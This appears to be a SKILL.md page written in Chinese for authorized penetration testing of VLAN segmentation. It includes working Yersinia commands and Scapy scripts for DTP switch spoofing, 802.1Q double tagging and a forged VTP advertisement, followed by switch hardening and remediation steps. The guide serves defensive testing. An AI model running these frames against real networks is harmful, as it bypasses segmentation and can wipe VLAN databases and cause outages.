인터페이스는 현지화되어 있으며, Skill 소개와 설명 문서는 선택한 언어로 AI가 자동 번역합니다. 코드·명령어·경로·전문 용어는 원문을 유지하며 원작자 문서가 우선합니다.
Skills 둘러보기
생산성 및 협업 · SKILL.md

performing-vlan-hopping-attack

performing-vlan-hopping-attack

在授权环境中使用交换机欺骗(Switch Spoofing)和双标签(Double Tagging)技术模拟 VLAN 跳转攻击, 测试 VLAN 分段有效性,并验证交换机端口安全配置对二层旁路攻击的抵御能力。

Independent GitHub snapshot · Automated classification · Original documentation governs

Skill 문서

GitHub

name: performing-vlan-hopping-attack description: > 在授权环境中使用交换机欺骗(Switch Spoofing)和双标签(Double Tagging)技术模拟 VLAN 跳转攻击, 测试 VLAN 分段有效性,并验证交换机端口安全配置对二层旁路攻击的抵御能力。 domain: cybersecurity subdomain: network-security tags: [network-security, vlan-hopping, layer2-attack, switch-security, 802.1q] version: "1.0" author: mahipal license: Apache-2.0

执行 VLAN 跳转攻击

适用场景

  • 在授权渗透测试中测试基于 VLAN 的网络分段有效性
  • 验证交换机干道端口配置是否能防止未授权的 VLAN 访问
  • 评估 802.1Q 标签和本征 VLAN(Native VLAN)配置是否能抵御双标签攻击
  • 向网络团队演示为何正确的交换机加固对区域间隔离至关重要
  • 验证所有接入端口是否已禁用 DTP(Dynamic Trunking Protocol,动态中继协议)

不要在未获明确授权和变更管理批准的生产交换机上使用,不要针对无安全控制的关键基础设施 VLAN(SCADA、医疗设备),不要将其用作拒绝服务攻击手段。

前置条件

  • 明确指定目标 VLAN 和测试交换机范围的书面授权
  • 可物理或虚拟访问目标网络的交换机接入端口
  • 在 Kali Linux 上安装了 Yersinia、Scapy 和 frogger VLAN 跳转工具
  • 了解 802.1Q 中继、DTP 和帧级别的 VLAN 标签
  • 可访问交换机 CLI 进行配置验证(只读权限即可)
  • 使用 Wireshark 捕获并验证标签帧

工作流程

步骤 1:枚举 VLAN 配置

# 识别攻击者端口的当前 VLAN 分配
ip link show eth0
cat /proc/net/vlan/config 2>/dev/null

# 使用 CDP/LLDP 发现交换机信息
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether proto 0x88cc' 2>/dev/null
# 或使用 lldpd
lldpcli show neighbors

# 若启用了 CDP,捕获 CDP 帧
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'

# 使用 Yersinia 发现 DTP 和 VTP 信息
sudo yersinia -G &
# 或命令行方式:
sudo yersinia dtp -attack 0 -interface eth0
# 监听 DTP 帧以获取中继协商状态

# 使用 Nmap 识别其他 VLAN 上的主机(若存在路由)
nmap -sn 10.10.10.0/24 10.10.20.0/24 10.10.30.0/24

步骤 2:尝试交换机欺骗(DTP 攻击)

# 使用 Yersinia 发送 DTP 帧并协商中继
sudo yersinia dtp -attack 1 -interface eth0

# 发送 DTP Desirable 帧将接入端口转换为中继端口
# 若成功,该端口将成为承载所有 VLAN 的中继端口

# 也可使用 Scapy 构造 DTP 帧
python3 << 'PYEOF'
from scapy.all import *
from scapy.contrib.dtp import *

# 发送 DTP Desirable 帧协商中继
dtp_frame = (
    Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
    LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
    SNAP(OUI=0x00000c, code=0x2004) /
    DTP(tlvlist=[
        DTPDomain(type=0x0001, domain=""),
        DTPStatus(type=0x0002, status=b"\x03"),  # Desirable
        DTPType(type=0x0003, dtptype=b"\xa5"),    # 802.1Q trunk
        DTPNeighbor(type=0x0004, neighbor=get_if_hwaddr("eth0"))
    ])
)

sendp(dtp_frame, iface="eth0", count=10, inter=1)
print("[*] DTP Desirable 帧已发送,检查是否协商为中继端口。")
PYEOF

# 若中继协商成功,捕获标签帧进行验证
sudo tcpdump -en -i eth0 'vlan' -c 10

# 创建 VLAN 子接口以访问其他 VLAN
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip addr add 10.10.10.99/24 dev eth0.10
sudo ip link set eth0.10 up

sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip addr add 10.10.20.99/24 dev eth0.20
sudo ip link set eth0.20 up

# 验证对其他 VLAN 的访问
ping -c 3 10.10.10.1
ping -c 3 10.10.20.1

步骤 3:尝试双标签攻击

# 双标签攻击的前提条件:
# 1. 攻击者位于干道的本征 VLAN
# 2. 目标 VLAN 与本征 VLAN 不同
# 3. 交换机剥离外层标签并转发带内层标签的帧

python3 << 'PYEOF'
from scapy.all import *

# 构造双标签帧
# 外层标签:本征 VLAN(如 VLAN 1)
# 内层标签:目标 VLAN(如 VLAN 20 - 服务器 VLAN)
target_ip = "10.10.20.10"
target_mac = "ff:ff:ff:ff:ff:ff"

double_tagged = (
    Ether(dst=target_mac, src=get_if_hwaddr("eth0")) /
    Dot1Q(vlan=1) /       # 外层标签:本征 VLAN(将被剥离)
    Dot1Q(vlan=20) /      # 内层标签:目标 VLAN(将被转发)
    IP(dst=target_ip, src="10.10.20.99") /
    ICMP(type=8)           # Echo request
)

# 发送双标签帧
sendp(double_tagged, iface="eth0", count=5, inter=1)
print("[*] 已发送针对 VLAN 20 的双标签帧")
print("[!] 注意:双标签攻击为单向攻击——预期不会收到响应")
PYEOF

# 使用 frogger 进行自动化 VLAN 跳转
# frogger 会识别本征 VLAN 并尝试双标签攻击
sudo frogger

# 在目标 VLAN 的监控端口上使用 Wireshark 验证
tshark -i eth1 -Y "vlan.id == 20 and icmp" -c 10

步骤 4:测试 VTP(VLAN 中继协议)攻击

python3 << 'PYEOF'
from scapy.all import *

# 构造带高修订号的 VTP 摘要通告
# 警告:若成功,可能破坏整个 VLAN 域
vtp_frame = (
    Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
    LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
    SNAP(OUI=0x00000c, code=0x2003) /
    Raw(load=bytes([
        0x02,                    # 版本 2
        0x01,                    # 摘要通告
        0x00,                    # Followers
        0x06,                    # 域名长度
        0x54, 0x45, 0x53, 0x54, # 域名:"TEST"
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0xFF, 0xFF, # 高修订号
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, # MD5 摘要(实验室环境使用全零)
    ]))
)

# 仅在授权实验室环境中发送
sendp(vtp_frame, iface="eth0", count=1)
print("[*] VTP 摘要通告已发送")
PYEOF

步骤 5:验证交换机配置弱点

# 在交换机上(具有读取权限),检查错误配置:

# 检查接入端口的 DTP 状态(应为 nonegotiate)
# show interfaces <interface> switchport
# 预期:Administrative Mode: static access
#       Negotiation of Trunking: Off

# 检查本征 VLAN 配置(不应为 VLAN 1)
# show interfaces trunk
# 预期:Native VLAN 不与任何用户 VLAN 匹配

# 检查 VTP 模式(应为 transparent 或 off)
# show vtp status
# 预期:VTP Mode: Transparent

# 检查未使用端口是否已禁用
# show interfaces status | include disabled

# 验证是否启用了端口安全
# show port-security

步骤 6:记录发现和修复建议

# 清理 VLAN 子接口
sudo ip link del eth0.10 2>/dev/null
sudo ip link del eth0.20 2>/dev/null

# 停止所有正在运行的攻击工具
sudo killall yersinia 2>/dev/null

# 记录所有带时间戳的测试结果
cat > vlan_hopping_report.txt << 'EOF'
VLAN 跳转测试结果
==================
测试日期:$(date)
测试人员:安全评估团队
授权文件:PENTEST-2024-0847

测试 1:DTP 交换机欺骗
  结果:存在漏洞 - 3 秒内协商为中继端口
  获取访问:VLAN 1, 10, 20, 30, 40

测试 2:双标签攻击
  结果:存在漏洞 - 帧从 VLAN 1 到达 VLAN 20
  注意:仅单向(无返回流量)

测试 3:VTP 攻击
  结果:未测试 - VTP 处于透明模式
EOF

核心概念

术语定义
VLAN 跳转(VLAN Hopping)允许攻击者访问未授权 VLAN 流量的二层攻击技术,可绕过网络分段
DTP(动态中继协议)Cisco 专有协议,自动在交换机间协商中继链路;接入端口未禁用时易受欺骗攻击
双标签(Double Tagging)使用两个 802.1Q 标签封装帧的攻击,利用交换机的本征 VLAN 处理机制将内层标签帧转发到不同 VLAN
本征 VLAN(Native VLAN)分配给干道端口未标签帧的 VLAN;当本征 VLAN 与用户 VLAN 相同时,可启用双标签攻击
VTP(VLAN 中继协议)Cisco 协议,用于在交换机间传播 VLAN 数据库变更;在服务器模式下,带更高修订号的流氓 VTP 消息可覆盖 VLAN 数据库
802.1QIEEE VLAN 标签标准,在以太网帧中插入 4 字节标签,用于在干道链路上标识 VLAN 成员

工具与系统

  • Yersinia:二层攻击框架,支持 DTP、VTP、STP、CDP、DHCP 和 802.1Q 攻击,提供 GUI 和 CLI 模式
  • Scapy:Python 数据包操控库,用于构造自定义 802.1Q 双标签帧和 DTP 协商数据包
  • frogger:VLAN 跳转工具,可自动发现本征 VLAN 并执行双标签攻击
  • Wireshark:数据包分析器,用于验证 VLAN 标签内容并确认帧是否送达目标 VLAN
  • tcpdump:命令行捕获工具,用于监控 802.1Q 标签帧以及 DTP/VTP 协议流量

常见场景

场景:测试 PCI-DSS 持卡人数据环境的 VLAN 分段

背景:零售商需要验证 VLAN 50 上的持卡人数据环境(CDE)是否已与企业网络(VLAN 10)和访客 WiFi(VLAN 30)正确隔离。网络使用带 802.1Q 中继的 Cisco Catalyst 交换机。评估授权从 VLAN 10 的端口进行测试。

方法:

  1. 连接到 VLAN 10 的接入端口,监听 DTP 帧以确定中继协商状态
  2. 使用 Yersinia 发送 DTP Desirable 帧——由于未禁用 DTP,端口成功协商为中继
  3. 创建 VLAN 50 子接口并尝试访问 CDE 系统(10.10.50.0/24)——成功,证明分段被绕过
  4. 从 VLAN 1(本征 VLAN)到 VLAN 50 尝试双标签攻击——也成功,因为本征 VLAN 是 VLAN 1
  5. 记录 VLAN 分段因 DTP 错误配置而作为 PCI-DSS 控制措施失效
  6. 建议在所有接入端口禁用 DTP,将本征 VLAN 更改为未使用的 VLAN,并启用端口安全

注意事项:

  • DTP 欺骗可能引发生成树拓扑变更,中断网络连接
  • 若本征 VLAN 不是 VLAN 1 或交换机配置正确,双标签可能无法成功
  • 在生产环境中发动 VTP 攻击可能删除整个交换域的 VLAN,造成大规模中断
  • 测试后忘记删除 VLAN 子接口,导致未授权的 VLAN 访问仍然存在

输出格式

## VLAN 跳转评估报告

**测试编号**:VLAN-HOP-2024-001
**被测交换机**:Core-SW1(Cisco Catalyst 9300)
**攻击者端口**:Gi1/0/24(VLAN 10)
**目标 VLAN**:VLAN 20(服务器),VLAN 50(CDE)

### 测试结果

| 攻击 | 目标 VLAN | 结果 | 影响 |
|------|-----------|------|------|
| DTP 交换机欺骗 | 所有 VLAN | 存在漏洞 | 获得完整中继访问 |
| 双标签攻击 | VLAN 50 | 存在漏洞 | 单向访问 CDE |
| VTP 注入 | N/A | 无漏洞 | VTP 透明模式 |

### 根本原因
1. 接入端口 Gi1/0/24 未禁用 DTP(管理模式:dynamic auto)
2. 所有干道链路的本征 VLAN 为 VLAN 1(默认值)
3. 交换机上未关闭的空闲端口

### 修复建议
1. 在所有接入端口禁用 DTP:`switchport nonegotiate`
2. 将所有接入端口设为静态模式:`switchport mode access`
3. 将本征 VLAN 更改为未使用的 VLAN:`switchport trunk native vlan 999`
4. 关闭所有未使用端口:`shutdown`
5. 在接入端口启用端口安全
6. 在所有交换机上将 VTP 设为透明模式
저장한 Skills